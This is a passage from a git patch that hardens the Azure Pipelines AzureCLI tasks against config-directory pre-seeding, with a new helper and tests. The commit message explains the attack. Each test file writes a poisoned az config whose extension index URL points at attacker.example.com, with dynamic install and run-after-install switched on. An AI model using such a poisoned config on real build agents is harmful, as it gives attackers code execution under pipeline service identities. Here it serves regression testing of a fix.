From dbd8161a6ca3d510df358b482675d2e013a6b1bd Mon Sep 17 00:00:00 2001 From: wawanawna Date: Fri, 29 May 2026 13:55:46 +0200 Subject: [PATCH 1/6] AzureCLI V1/V2/V3: isolate AZURE_CONFIG_DIR per task invocation The AzureCLI@1/@2/@3 tasks previously pointed AZURE_CONFIG_DIR at the predictable path Agent.TempDirectory/.azclitask. Because that path is fixed and lives on a shared self-hosted agent, an earlier pipeline step running on the same agent could pre-seed .azclitask/config with an [extension] block (index_url, use_dynamic_install, run_after_dynamic_install) so that the next AzureCLI step's first az invocation would fetch and execute an attacker-controlled wheel under the service-connection identity. Cleanup only happened on the same predictable path, so the attacker dir could be re-seeded across steps. This change introduces an AzureCliConfigDir.ts helper, used by all three task versions: * createPerInvocationAzureConfigDir(agentTempDir) uses fs.mkdtempSync to create a fresh Agent.TempDirectory/.azclitask-XXXXXX directory with a cryptographically random suffix. An attacker can no longer predict the path, so pre-seeded config files at the legacy location are ignored. * removePerInvocationAzureConfigDir(path) performs a never-throwing cleanup (rmRF + unset env var) so the per-invocation directory is removed even when the script body throws and so cleanup errors do not mask the original failure. For V2 and V3, scriptType.cleanUp() in the finally block is now wrapped in its own try/catch so a cleanup error there cannot prevent the new config-dir cleanup from running. Behavior change for users: cross-step persistence of az extension add or az config set between AzureCLI steps in the same job is no longer guaranteed (each step now gets a fresh, isolated config dir). The pre-existing useGlobalConfig: true input remains the supported escape hatch for pipelines that rely on persistence. Tests: adds Tests/L0ConfigDirIsolation.ts to each task with eight L0 cases covering directory creation, uniqueness across invocations, mutual isolation, attacker-pre-seeding resistance, input validation, cleanup of populated directories, null/empty no-op, and missing-path no-op. Full L0 suite passes per task (V1 21, V2 47, V3 59). --- Tasks/AzureCLIV1/Tests/L0.ts | 5 + .../AzureCLIV1/Tests/L0ConfigDirIsolation.ts | 121 ++++++++++++++++++ Tasks/AzureCLIV1/azureclitask.ts | 19 ++- Tasks/AzureCLIV1/src/AzureCliConfigDir.ts | 59 +++++++++ Tasks/AzureCLIV2/Tests/L0.ts | 5 + .../AzureCLIV2/Tests/L0ConfigDirIsolation.ts | 121 ++++++++++++++++++ Tasks/AzureCLIV2/azureclitask.ts | 30 ++++- Tasks/AzureCLIV2/src/AzureCliConfigDir.ts | 59 +++++++++ Tasks/AzureCLIV3/Tests/L0.ts | 5 + .../AzureCLIV3/Tests/L0ConfigDirIsolation.ts | 121 ++++++++++++++++++ Tasks/AzureCLIV3/azureclitask.ts | 25 +++- Tasks/AzureCLIV3/src/AzureCliConfigDir.ts | 59 +++++++++ _generated/AzureCLIV1/Tests/L0.ts | 5 + .../AzureCLIV1/Tests/L0ConfigDirIsolation.ts | 121 ++++++++++++++++++ _generated/AzureCLIV1/azureclitask.ts | 19 ++- .../AzureCLIV1/src/AzureCliConfigDir.ts | 59 +++++++++ _generated/AzureCLIV1_Node24/Tests/L0.ts | 5 + .../Tests/L0ConfigDirIsolation.ts | 121 ++++++++++++++++++ _generated/AzureCLIV1_Node24/azureclitask.ts | 19 ++- .../src/AzureCliConfigDir.ts | 59 +++++++++ _generated/AzureCLIV2/Tests/L0.ts | 5 + .../AzureCLIV2/Tests/L0ConfigDirIsolation.ts | 121 ++++++++++++++++++ _generated/AzureCLIV2/azureclitask.ts | 30 ++++- .../AzureCLIV2/src/AzureCliConfigDir.ts | 59 +++++++++ _generated/AzureCLIV2_Node24/Tests/L0.ts | 5 + .../Tests/L0ConfigDirIsolation.ts | 121 ++++++++++++++++++ _generated/AzureCLIV2_Node24/azureclitask.ts | 30 ++++- .../src/AzureCliConfigDir.ts | 59 +++++++++ _generated/AzureCLIV3/Tests/L0.ts | 5 + .../AzureCLIV3/Tests/L0ConfigDirIsolation.ts | 121 ++++++++++++++++++ _generated/AzureCLIV3/azureclitask.ts | 25 +++- .../AzureCLIV3/src/AzureCliConfigDir.ts | 59 +++++++++ _generated/AzureCLIV3_Node24/Tests/L0.ts | 5 + .../Tests/L0ConfigDirIsolation.ts | 121 ++++++++++++++++++ _generated/AzureCLIV3_Node24/azureclitask.ts | 25 +++- .../src/AzureCliConfigDir.ts | 59 +++++++++ 36 files changed, 1842 insertions(+), 45 deletions(-) create mode 100644 Tasks/AzureCLIV1/Tests/L0ConfigDirIsolation.ts create mode 100644 Tasks/AzureCLIV1/src/AzureCliConfigDir.ts create mode 100644 Tasks/AzureCLIV2/Tests/L0ConfigDirIsolation.ts create mode 100644 Tasks/AzureCLIV2/src/AzureCliConfigDir.ts create mode 100644 Tasks/AzureCLIV3/Tests/L0ConfigDirIsolation.ts create mode 100644 Tasks/AzureCLIV3/src/AzureCliConfigDir.ts create mode 100644 _generated/AzureCLIV1/Tests/L0ConfigDirIsolation.ts create mode 100644 _generated/AzureCLIV1/src/AzureCliConfigDir.ts create mode 100644 _generated/AzureCLIV1_Node24/Tests/L0ConfigDirIsolation.ts create mode 100644 _generated/AzureCLIV1_Node24/src/AzureCliConfigDir.ts create mode 100644 _generated/AzureCLIV2/Tests/L0ConfigDirIsolation.ts create mode 100644 _generated/AzureCLIV2/src/AzureCliConfigDir.ts create mode 100644 _generated/AzureCLIV2_Node24/Tests/L0ConfigDirIsolation.ts create mode 100644 _generated/AzureCLIV2_Node24/src/AzureCliConfigDir.ts create mode 100644 _generated/AzureCLIV3/Tests/L0ConfigDirIsolation.ts create mode 100644 _generated/AzureCLIV3/src/AzureCliConfigDir.ts create mode 100644 _generated/AzureCLIV3_Node24/Tests/L0ConfigDirIsolation.ts create mode 100644 _generated/AzureCLIV3_Node24/src/AzureCliConfigDir.ts diff --git a/Tasks/AzureCLIV1/Tests/L0.ts b/Tasks/AzureCLIV1/Tests/L0.ts index 8d38bb4e86f2..5c0f36646f49 100644 --- a/Tasks/AzureCLIV1/Tests/L0.ts +++ b/Tasks/AzureCLIV1/Tests/L0.ts @@ -3,10 +3,15 @@ import path = require('path'); import os = require('os'); import * as ttm from 'azure-pipelines-task-lib/mock-test'; +import { runConfigDirIsolationTests } from './L0ConfigDirIsolation'; describe('AzureCLIV1 Suite', function () { this.timeout(20000); + describe('AZURE_CONFIG_DIR isolation', () => { + runConfigDirIsolationTests(); + }); + // Use cross-platform temp directory for assertions const tempDir = require('os').tmpdir(); diff --git a/Tasks/AzureCLIV1/Tests/L0ConfigDirIsolation.ts b/Tasks/AzureCLIV1/Tests/L0ConfigDirIsolation.ts new file mode 100644 index 000000000000..ead17f3cec00 --- /dev/null +++ b/Tasks/AzureCLIV1/Tests/L0ConfigDirIsolation.ts @@ -0,0 +1,121 @@ +import assert = require('assert'); +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; + +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from '../src/AzureCliConfigDir'; + +export function runConfigDirIsolationTests() { + describe('createPerInvocationAzureConfigDir (security hardening)', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + }); + + it('creates a brand-new directory under the agent temp root', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert(fs.existsSync(dir), 'config dir should exist on disk'); + assert(fs.statSync(dir).isDirectory(), 'should be a directory'); + assert(path.dirname(dir) === fs.realpathSync(agentTemp) || path.dirname(dir) === agentTemp, + `config dir parent should be agent temp, got ${path.dirname(dir)}`); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('does NOT use the predictable ".azclitask" path that the vulnerable code used', () => { + const vulnerablePath = path.join(agentTemp, '.azclitask'); + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, vulnerablePath, + 'must not use the fixed predictable path attackable by pre-seeding'); + assert(path.basename(dir).startsWith('.azclitask-'), + `basename should start with ".azclitask-" (got "${path.basename(dir)}")`); + assert(path.basename(dir).length > '.azclitask-'.length, + 'mkdtemp must append a random suffix'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('produces a different directory on each invocation', () => { + const a = createPerInvocationAzureConfigDir(agentTemp); + const b = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(a, b, 'two invocations must yield distinct dirs'); + } finally { + fs.rmSync(a, { recursive: true, force: true }); + fs.rmSync(b, { recursive: true, force: true }); + } + }); + + it('ignores an attacker-pre-seeded ".azclitask/config" in the agent temp', () => { + // Simulate the exact attack: a prior step writes a poisoned config at the + // predictable path the vulnerable task used to point AZURE_CONFIG_DIR at. + const poisonedDir = path.join(agentTemp, '.azclitask'); + fs.mkdirSync(poisonedDir, { recursive: true }); + const poisonedConfig = path.join(poisonedDir, 'config'); + fs.writeFileSync(poisonedConfig, + '[extension]\nindex_url = https://attacker.example.com/index.json\n' + + 'use_dynamic_install = yes_without_prompt\n' + + 'run_after_dynamic_install = True\n'); + + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, poisonedDir, + 'new config dir must not be the attacker-controlled predictable path'); + assert(!fs.existsSync(path.join(dir, 'config')), + 'newly-created config dir must not contain a pre-seeded config file'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('throws when agentTempDir is empty/undefined', () => { + assert.throws(() => createPerInvocationAzureConfigDir(undefined as any)); + assert.throws(() => createPerInvocationAzureConfigDir('')); + }); + }); + + describe('removePerInvocationAzureConfigDir', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('removes the directory (even when it contains files left by az)', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + fs.writeFileSync(path.join(dir, 'config'), '[extension]\nindex_url = x\n'); + fs.mkdirSync(path.join(dir, 'cliextensions')); + process.env['AZURE_CONFIG_DIR'] = dir; + removePerInvocationAzureConfigDir(dir); + assert(!fs.existsSync(dir), 'directory must be gone after cleanup'); + assert(process.env['AZURE_CONFIG_DIR'] === undefined, + 'AZURE_CONFIG_DIR env var must be unset after cleanup'); + }); + + it('is a no-op for null/empty inputs (safe in finally)', () => { + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(null)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(undefined)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir('')); + }); + + it('never throws when the path does not exist', () => { + const ghost = path.join(agentTemp, '.azclitask-ghost00'); + assert(!fs.existsSync(ghost)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(ghost)); + }); + }); +} diff --git a/Tasks/AzureCLIV1/azureclitask.ts b/Tasks/AzureCLIV1/azureclitask.ts index 084a8a62708b..c8781112a47a 100644 --- a/Tasks/AzureCLIV1/azureclitask.ts +++ b/Tasks/AzureCLIV1/azureclitask.ts @@ -5,6 +5,7 @@ import fs = require("fs"); import os = require("os"); import { getHandlerFromToken, WebApi } from "azure-devops-node-api"; import { ITaskApi } from "azure-devops-node-api/TaskApi"; +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from "./src/AzureCliConfigDir"; const nodeVersion = parseInt(process.version.split('.')[0].replace('v', '')); if (nodeVersion > 16) { @@ -117,6 +118,11 @@ export class azureclitask { tl.rmRF(this.cliPasswordPath); } + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } + //set the task result to either succeeded or failed based on error was thrown or not if (toolExecutionError) { let message = tl.loc('ScriptFailed', toolExecutionError); @@ -160,6 +166,7 @@ export class azureclitask { private static isLoggedIn: boolean = false; private static cliPasswordPath: string = null; + private static azCliConfigPath: string = null; private static servicePrincipalId: string = null; private static servicePrincipalKey: string = null; private static federatedToken: string = null; @@ -229,10 +236,14 @@ export class azureclitask { return; } - if (!!tl.getVariable('Agent.TempDirectory')) { - var azCliConfigPath = path.join(tl.getVariable('Agent.TempDirectory'), ".azclitask"); - console.log(tl.loc('SettingAzureConfigDir', azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = azCliConfigPath; + const agentTempDir = tl.getVariable('Agent.TempDirectory'); + if (!!agentTempDir) { + // Security: create an unpredictable per-invocation + // directory so an earlier pipeline step cannot pre-seed a poisoned + // az config file at $(Agent.TempDirectory)/.azclitask/config. + this.azCliConfigPath = createPerInvocationAzureConfigDir(agentTempDir); + console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); + process.env['AZURE_CONFIG_DIR'] = this.azCliConfigPath; } else { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); } diff --git a/Tasks/AzureCLIV1/src/AzureCliConfigDir.ts b/Tasks/AzureCLIV1/src/AzureCliConfigDir.ts new file mode 100644 index 000000000000..e0f944c13ab0 --- /dev/null +++ b/Tasks/AzureCLIV1/src/AzureCliConfigDir.ts @@ -0,0 +1,59 @@ +import * as fs from 'fs'; +import * as path from 'path'; +import * as tl from 'azure-pipelines-task-lib/task'; + +/** + * AZURE_CONFIG_DIR isolation helper for the AzureCLI@1/@2/@3 tasks. + * + * NOTE: this file is intentionally duplicated under + * Tasks/AzureCLIV1/src, Tasks/AzureCLIV2/src and Tasks/AzureCLIV3/src. + * Each AzureCLI task is shipped as a self-contained npm package and the + * repo convention is to keep small, task-coupled helpers in the task + * folder rather than introduce a new shared package. Keep all three + * copies in sync when changing this file. + * + * Background: the legacy code pointed AZURE_CONFIG_DIR at the predictable + * path $(Agent.TempDirectory)/.azclitask which allowed any earlier + * pipeline step running on the same agent to pre-seed a poisoned `config` + * file (e.g. extension.index_url / use_dynamic_install / + * run_after_dynamic_install) and achieve code execution under the + * service-connection identity once the AzureCLI task subsequently invoked + * `az`. Creating a fresh, unpredictable directory per invocation closes + * that gap. + */ + +/** + * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the + * supplied agent temp directory. Returns the absolute path. The directory + * has the form `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * cryptographically-random alphanumeric characters chosen by libuv + * (filesystem-safe on every supported OS). + */ +export function createPerInvocationAzureConfigDir(agentTempDir: string): string { + if (!agentTempDir) { + throw new Error('agentTempDir is required'); + } + return fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); +} + +/** + * Removes a directory previously created by + * createPerInvocationAzureConfigDir and unsets the AZURE_CONFIG_DIR env + * var. Safe to call in `finally` — never throws; logs to tl.debug on + * failure so a broken cleanup cannot mask the original task error. + */ +export function removePerInvocationAzureConfigDir(configPath: string | null | undefined): void { + if (!configPath) { + return; + } + tl.debug(`Removing per-invocation AZURE_CONFIG_DIR: ${configPath}`); + try { + tl.rmRF(configPath); + } catch (rmErr) { + const msg = (rmErr && (rmErr as Error).message) || String(rmErr); + tl.debug(`Failed to remove AZURE_CONFIG_DIR: ${msg}`); + } + try { + delete process.env['AZURE_CONFIG_DIR']; + } catch { /* ignore */ } +} \ No newline at end of file diff --git a/Tasks/AzureCLIV2/Tests/L0.ts b/Tasks/AzureCLIV2/Tests/L0.ts index 033bce6979db..ccd3e0f83155 100644 --- a/Tasks/AzureCLIV2/Tests/L0.ts +++ b/Tasks/AzureCLIV2/Tests/L0.ts @@ -4,6 +4,7 @@ import path = require('path'); import * as ttm from 'azure-pipelines-task-lib/mock-test'; import { runValidateScriptArgsTests } from './L0ValidateScriptArgs'; import { runTryValidateScriptArgsTests } from './L0TryValidateScriptArgs'; +import { runConfigDirIsolationTests } from './L0ConfigDirIsolation'; describe('AzureCLIV2 Suite', function () { this.timeout(30000); @@ -16,6 +17,10 @@ describe('AzureCLIV2 Suite', function () { runTryValidateScriptArgsTests(); }); + describe('AZURE_CONFIG_DIR isolation', () => { + runConfigDirIsolationTests(); + }); + it('LateBoundIdToken: Feature Flag ON, Token Present -> Uses Token, Emits Telemetry', async () => { let tp = path.join(__dirname, 'LateBoundIdToken_FeatureFlagOn_TokenPresent.js'); let tr: ttm.MockTestRunner = new ttm.MockTestRunner(tp); diff --git a/Tasks/AzureCLIV2/Tests/L0ConfigDirIsolation.ts b/Tasks/AzureCLIV2/Tests/L0ConfigDirIsolation.ts new file mode 100644 index 000000000000..ead17f3cec00 --- /dev/null +++ b/Tasks/AzureCLIV2/Tests/L0ConfigDirIsolation.ts @@ -0,0 +1,121 @@ +import assert = require('assert'); +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; + +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from '../src/AzureCliConfigDir'; + +export function runConfigDirIsolationTests() { + describe('createPerInvocationAzureConfigDir (security hardening)', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + }); + + it('creates a brand-new directory under the agent temp root', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert(fs.existsSync(dir), 'config dir should exist on disk'); + assert(fs.statSync(dir).isDirectory(), 'should be a directory'); + assert(path.dirname(dir) === fs.realpathSync(agentTemp) || path.dirname(dir) === agentTemp, + `config dir parent should be agent temp, got ${path.dirname(dir)}`); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('does NOT use the predictable ".azclitask" path that the vulnerable code used', () => { + const vulnerablePath = path.join(agentTemp, '.azclitask'); + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, vulnerablePath, + 'must not use the fixed predictable path attackable by pre-seeding'); + assert(path.basename(dir).startsWith('.azclitask-'), + `basename should start with ".azclitask-" (got "${path.basename(dir)}")`); + assert(path.basename(dir).length > '.azclitask-'.length, + 'mkdtemp must append a random suffix'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('produces a different directory on each invocation', () => { + const a = createPerInvocationAzureConfigDir(agentTemp); + const b = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(a, b, 'two invocations must yield distinct dirs'); + } finally { + fs.rmSync(a, { recursive: true, force: true }); + fs.rmSync(b, { recursive: true, force: true }); + } + }); + + it('ignores an attacker-pre-seeded ".azclitask/config" in the agent temp', () => { + // Simulate the exact attack: a prior step writes a poisoned config at the + // predictable path the vulnerable task used to point AZURE_CONFIG_DIR at. + const poisonedDir = path.join(agentTemp, '.azclitask'); + fs.mkdirSync(poisonedDir, { recursive: true }); + const poisonedConfig = path.join(poisonedDir, 'config'); + fs.writeFileSync(poisonedConfig, + '[extension]\nindex_url = https://attacker.example.com/index.json\n' + + 'use_dynamic_install = yes_without_prompt\n' + + 'run_after_dynamic_install = True\n'); + + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, poisonedDir, + 'new config dir must not be the attacker-controlled predictable path'); + assert(!fs.existsSync(path.join(dir, 'config')), + 'newly-created config dir must not contain a pre-seeded config file'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('throws when agentTempDir is empty/undefined', () => { + assert.throws(() => createPerInvocationAzureConfigDir(undefined as any)); + assert.throws(() => createPerInvocationAzureConfigDir('')); + }); + }); + + describe('removePerInvocationAzureConfigDir', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + delete process.env['AZURE_CONFIG_DIR']; + }); + + it('removes the directory (even when it contains files left by az)', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + fs.writeFileSync(path.join(dir, 'config'), '[extension]\nindex_url = x\n'); + fs.mkdirSync(path.join(dir, 'cliextensions')); + process.env['AZURE_CONFIG_DIR'] = dir; + removePerInvocationAzureConfigDir(dir); + assert(!fs.existsSync(dir), 'directory must be gone after cleanup'); + assert(process.env['AZURE_CONFIG_DIR'] === undefined, + 'AZURE_CONFIG_DIR env var must be unset after cleanup'); + }); + + it('is a no-op for null/empty inputs (safe in finally)', () => { + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(null)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(undefined)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir('')); + }); + + it('never throws when the path does not exist', () => { + const ghost = path.join(agentTemp, '.azclitask-ghost00'); + assert(!fs.existsSync(ghost)); + assert.doesNotThrow(() => removePerInvocationAzureConfigDir(ghost)); + }); + }); +} diff --git a/Tasks/AzureCLIV2/azureclitask.ts b/Tasks/AzureCLIV2/azureclitask.ts index 29b34905b4ae..7ee68d6bc1ad 100644 --- a/Tasks/AzureCLIV2/azureclitask.ts +++ b/Tasks/AzureCLIV2/azureclitask.ts @@ -10,6 +10,7 @@ import { getHandlerFromToken, WebApi } from "azure-devops-node-api"; import { ITaskApi } from "azure-devops-node-api/TaskApi"; import { validateAzModuleVersion } from "azure-pipelines-tasks-azure-arm-rest/azCliUtility"; import { tryValidateScriptArgs, ArgsSanitizingError } from "./src/argsSanitizer"; +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from "./src/AzureCliConfigDir"; const nodeVersion = parseInt(process.version.split('.')[0].replace('v', '')); if (nodeVersion > 16) { @@ -147,7 +148,11 @@ export class azureclitask { } if (scriptType) { - await scriptType.cleanUp(); + try { + await scriptType.cleanUp(); + } catch (cleanupErr) { + tl.debug(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); + } } if (this.cliPasswordPath) { @@ -155,6 +160,11 @@ export class azureclitask { tl.rmRF(this.cliPasswordPath); } + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } + //set the task result to either succeeded or failed based on error was thrown or not if(toolExecutionError === FAIL_ON_STDERR) { tl.setResult(tl.TaskResult.Failed, tl.loc("ScriptFailedStdErr")); @@ -223,6 +233,7 @@ export class azureclitask { private static isLoggedIn: boolean = false; private static cliPasswordPath: string = null; + private static azCliConfigPath: string = null; private static servicePrincipalId: string = null; private static servicePrincipalKey: string = null; private static federatedToken: string = null; @@ -354,13 +365,20 @@ export class azureclitask { return; } - if (!!tl.getVariable('Agent.TempDirectory')) { - var azCliConfigPath = path.join(tl.getVariable('Agent.TempDirectory'), ".azclitask"); - console.log(tl.loc('SettingAzureConfigDir', azCliConfigPath)); - process.env['AZURE_CONFIG_DIR'] = azCliConfigPath; - } else { + const tempDir = tl.getVariable('Agent.TempDirectory'); + if (!tempDir) { console.warn(tl.loc('GlobalCliConfigAgentVersionWarning')); + return; } + + // Security: use a freshly-created, unpredictable per-invocation directory + // so that an earlier step cannot pre-seed $(Agent.TempDirectory)/.azclitask/config + // with a poisoned extension.index_url (security hardening). + // fs.mkdtempSync creates a brand-new directory; the random suffix prevents + // attacker pre-seeding and the tight perms come from the agent temp root. + this.azCliConfigPath = createPerInvocationAzureConfigDir(tempDir); + console.log(tl.loc('SettingAzureConfigDir', this.azCliConfigPath)); + process.env['AZURE_CONFIG_DIR'] = this.azCliConfigPath; } private static setAzureCloudBasedOnServiceEndpoint(): void { diff --git a/Tasks/AzureCLIV2/src/AzureCliConfigDir.ts b/Tasks/AzureCLIV2/src/AzureCliConfigDir.ts new file mode 100644 index 000000000000..e0f944c13ab0 --- /dev/null +++ b/Tasks/AzureCLIV2/src/AzureCliConfigDir.ts @@ -0,0 +1,59 @@ +import * as fs from 'fs'; +import * as path from 'path'; +import * as tl from 'azure-pipelines-task-lib/task'; + +/** + * AZURE_CONFIG_DIR isolation helper for the AzureCLI@1/@2/@3 tasks. + * + * NOTE: this file is intentionally duplicated under + * Tasks/AzureCLIV1/src, Tasks/AzureCLIV2/src and Tasks/AzureCLIV3/src. + * Each AzureCLI task is shipped as a self-contained npm package and the + * repo convention is to keep small, task-coupled helpers in the task + * folder rather than introduce a new shared package. Keep all three + * copies in sync when changing this file. + * + * Background: the legacy code pointed AZURE_CONFIG_DIR at the predictable + * path $(Agent.TempDirectory)/.azclitask which allowed any earlier + * pipeline step running on the same agent to pre-seed a poisoned `config` + * file (e.g. extension.index_url / use_dynamic_install / + * run_after_dynamic_install) and achieve code execution under the + * service-connection identity once the AzureCLI task subsequently invoked + * `az`. Creating a fresh, unpredictable directory per invocation closes + * that gap. + */ + +/** + * Creates a per-invocation, unpredictable AZURE_CONFIG_DIR under the + * supplied agent temp directory. Returns the absolute path. The directory + * has the form `${agentTempDir}/.azclitask-XXXXXX` where XXXXXX is six + * cryptographically-random alphanumeric characters chosen by libuv + * (filesystem-safe on every supported OS). + */ +export function createPerInvocationAzureConfigDir(agentTempDir: string): string { + if (!agentTempDir) { + throw new Error('agentTempDir is required'); + } + return fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); +} + +/** + * Removes a directory previously created by + * createPerInvocationAzureConfigDir and unsets the AZURE_CONFIG_DIR env + * var. Safe to call in `finally` — never throws; logs to tl.debug on + * failure so a broken cleanup cannot mask the original task error. + */ +export function removePerInvocationAzureConfigDir(configPath: string | null | undefined): void { + if (!configPath) { + return; + } + tl.debug(`Removing per-invocation AZURE_CONFIG_DIR: ${configPath}`); + try { + tl.rmRF(configPath); + } catch (rmErr) { + const msg = (rmErr && (rmErr as Error).message) || String(rmErr); + tl.debug(`Failed to remove AZURE_CONFIG_DIR: ${msg}`); + } + try { + delete process.env['AZURE_CONFIG_DIR']; + } catch { /* ignore */ } +} \ No newline at end of file diff --git a/Tasks/AzureCLIV3/Tests/L0.ts b/Tasks/AzureCLIV3/Tests/L0.ts index c9a3187f3d95..16c268f7b7ab 100644 --- a/Tasks/AzureCLIV3/Tests/L0.ts +++ b/Tasks/AzureCLIV3/Tests/L0.ts @@ -3,6 +3,7 @@ import path = require('path'); import * as ttm from 'azure-pipelines-task-lib/mock-test'; import { runValidateScriptArgsTests } from './L0ValidateScriptArgs'; import { runTryValidateScriptArgsTests } from './L0TryValidateScriptArgs'; +import { runConfigDirIsolationTests } from './L0ConfigDirIsolation'; describe('AzureCLIV3 Suite', function () { const timeout = 30000; @@ -21,6 +22,10 @@ describe('AzureCLIV3 Suite', function () { runTryValidateScriptArgsTests(); }); + describe('AZURE_CONFIG_DIR isolation', () => { + runConfigDirIsolationTests(); + }); + it('Should handle Azure DevOps connection with Workload Identity Federation', function (done) { this.timeout(timeout); diff --git a/Tasks/AzureCLIV3/Tests/L0ConfigDirIsolation.ts b/Tasks/AzureCLIV3/Tests/L0ConfigDirIsolation.ts new file mode 100644 index 000000000000..ead17f3cec00 --- /dev/null +++ b/Tasks/AzureCLIV3/Tests/L0ConfigDirIsolation.ts @@ -0,0 +1,121 @@ +import assert = require('assert'); +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; + +import { createPerInvocationAzureConfigDir, removePerInvocationAzureConfigDir } from '../src/AzureCliConfigDir'; + +export function runConfigDirIsolationTests() { + describe('createPerInvocationAzureConfigDir (security hardening)', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = fs.mkdtempSync(path.join(os.tmpdir(), 'azcli-agenttmp-')); + }); + + afterEach(() => { + try { fs.rmSync(agentTemp, { recursive: true, force: true }); } catch { /* ignore */ } + }); + + it('creates a brand-new directory under the agent temp root', () => { + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert(fs.existsSync(dir), 'config dir should exist on disk'); + assert(fs.statSync(dir).isDirectory(), 'should be a directory'); + assert(path.dirname(dir) === fs.realpathSync(agentTemp) || path.dirname(dir) === agentTemp, + `config dir parent should be agent temp, got ${path.dirname(dir)}`); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('does NOT use the predictable ".azclitask" path that the vulnerable code used', () => { + const vulnerablePath = path.join(agentTemp, '.azclitask'); + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, vulnerablePath, + 'must not use the fixed predictable path attackable by pre-seeding'); + assert(path.basename(dir).startsWith('.azclitask-'), + `basename should start with ".azclitask-" (got "${path.basename(dir)}")`); + assert(path.basename(dir).length > '.azclitask-'.length, + 'mkdtemp must append a random suffix'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('produces a different directory on each invocation', () => { + const a = createPerInvocationAzureConfigDir(agentTemp); + const b = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(a, b, 'two invocations must yield distinct dirs'); + } finally { + fs.rmSync(a, { recursive: true, force: true }); + fs.rmSync(b, { recursive: true, force: true }); + } + }); + + it('ignores an attacker-pre-seeded ".azclitask/config" in the agent temp', () => { + // Simulate the exact attack: a prior step writes a poisoned config at the + // predictable path the vulnerable task used to point AZURE_CONFIG_DIR at. + const poisonedDir = path.join(agentTemp, '.azclitask'); + fs.mkdirSync(poisonedDir, { recursive: true }); + const poisonedConfig = path.join(poisonedDir, 'config'); + fs.writeFileSync(poisonedConfig, + '[extension]\nindex_url = https://attacker.example.com/index.json\n' + + 'use_dynamic_install = yes_without_prompt\n' + + 'run_after_dynamic_install = True\n'); + + const dir = createPerInvocationAzureConfigDir(agentTemp); + try { + assert.notStrictEqual(dir, poisonedDir, + 'new config dir must not be the attacker-controlled predictable path'); + assert(!fs.existsSync(path.join(dir, 'config')), + 'newly-created config dir must not contain a pre-seeded config file'); + } finally { + fs.rmSync(dir, { recursive: true, force: true }); + } + }); + + it('throws when agentTempDir is empty/undefined', () => { + assert.throws(() => createPerInvocationAzureConfigDir(undefined as any)); + assert.throws(() => createPerInvocationAzureConfigDir('')); + }); + }); + + describe('removePerInvocationAzureConfigDir', () => { + let agentTemp: string; + + beforeEach(() => { + agentTemp = 